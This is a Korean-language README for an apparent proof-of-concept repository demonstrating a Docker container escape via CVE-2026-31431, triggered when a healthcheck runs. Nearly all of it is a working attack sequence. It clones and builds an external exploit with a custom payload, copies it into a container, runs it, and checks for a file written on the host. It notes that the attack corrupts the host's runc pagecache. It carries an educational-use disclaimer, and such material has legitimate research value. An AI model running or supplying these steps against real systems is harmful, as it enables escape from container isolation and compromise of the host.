
# CVE-2026-31431을 통해 healthcheck가 활성화된 모든 도커 컨테이너에서 컨테이너 탈출
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
이 저장소에는 취약한 컨테이너를 설정하기 위한 docker-compose.yml이 포함되어 있습니다. 다른 취약한 컨테이너를 사용하거나 직접 구성할 수도 있지만, 그에 맞게 익스플로잇 코드를 변경해야 합니다.
# 호스트 머신에서
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# copyfail 컨테이너 내부에서
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# healthcheck가 실행될 때까지 몇 분 기다린 후
# 호스트에서 /tmp/pwned가 생성되었는지 확인
# 호스트 머신에서
ls /tmp/pwned
익스플로잇이 성공하면 호스트 머신의 runc 바이너리 pagecache가 손상됩니다. 호스트에서 echo 3 | sudo tee /proc/sys/vm/drop_caches를 실행하여 복원할 수 있습니다.
이 저장소는 교육 목적으로만 제공됩니다. 악의적인 활동에 사용해서는 안 됩니다. 작성자는 이 코드의 오용으로 인해 발생하는 어떠한 손해에도 책임을 지지 않습니다. 항상 통제된 합법적인 환경에서 사용하십시오.